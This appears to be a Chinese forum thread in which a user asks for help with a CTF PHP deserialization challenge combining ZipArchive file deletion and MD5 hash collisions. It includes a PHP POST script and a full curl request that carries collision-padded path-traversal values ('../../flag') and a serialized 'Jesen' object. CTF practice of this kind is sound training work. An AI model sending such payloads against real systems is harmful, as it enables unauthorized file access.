一个CTF反序列化题目

GoogleHacking

题目地址：http://171.80.2.169:18382/

这个是ZipArchive反序列化删除文件，哈希真相等,我试了试删除sandbox、locklock，但是删不掉，但是访问不了这个了，，。后来又用fastcool生成一样的文件，传入还是不行，按照知乎的题解做了一下也出不来flag。，求指导

GoogleHacking

还得是大佬，我用php代码的方式弄得， 但是不知道为啥跑不出来结果，
<?php
$postdata = http_build_query(
array(
'a' => file_get_contents("1_msg1.txt"), // hash碰撞出来的文件
'b' => file_get_contents("2_msg2.txt"),
'c' => "O:5:\"Jesen\":3:{s:8:\"filename\";s:0:\"\";s:7:\"content\";s:0:\"\";s:2:\"me\";N;}"
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://171.80.2.169:18382/', false, $context);
echo $result;
?>

GoogleHacking

Wh1teSu 发表于 2026-3-31 10:25
题目首页直接回显源码，核心逻辑如下：

```php

a' => file_get_contents("1_msg1.txt"), // hash碰撞出来的文件
'b' => file_get_contents("2_msg2.txt")


我的这俩记事本，都是原始内容，我试了试原始内容，以及对内容进行URL编码，都出不来结果

GoogleHacking

不过你的python倒是一幕了然，能整明白

GoogleHacking

curl -i -X POST \
   -H "Content-Type:application/x-www-form-urlencoded" \
   -d \
'a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00B%B0%07v0%A0%C3%5C%1A%1D%E8%B2%BFn%3E.%7F%F7%AF%9C%D8U-%7F%0A%B6%82%DE%EB%05%3C%B7%C8%A3%C3%C9H%02%EB%C7%07%FC%CB%1A%2C%BE%8C%0C%88%95%EE%A9%CA%1C%3C.%3FZD%94%9E%93%85%EC%18L%A4a%EF%D2v%02%94%96%F4P%94%D8uoM%D2td%DF%8C%01on%FB%8F%CBKaeAu%60%BD%8A%82%A7%92%7F%AC%C2o%F9%9A%9Fn%11%18%D6%82%F9%CC%F2%E6p%A4%A5%AC%EB%ED%CFt%92&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00B%B0%07v0%A0%C3%5C%1A%1D%E8%B2%BFn%3E.%7F%F7%AF%1C%D8U-%7F%0A%B6%82%DE%EB%05%3C%B7%C8%A3%C3%C9H%02%EB%C7%07%FC%CB%1A%2C%3E%8D%0C%88%95%EE%A9%CA%1C%3C.%3FZD%14%9E%93%85%EC%18L%A4a%EF%D2v%02%94%96%F4P%94%D8uoM%D2t%E4%DF%8C%01on%FB%8F%CBKaeAu%60%BD%8A%82%A7%92%7F%AC%C2o%F9%9A%1Fn%11%18%D6%82%F9%CC%F2%E6p%A4%A5%ACk%ED%CFt%92&c=O%3A5%3A%22Jesen%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3Bs%3A2%3A%22me%22%3BN%3B%7D' \
'http://171.80.2.169:18382/'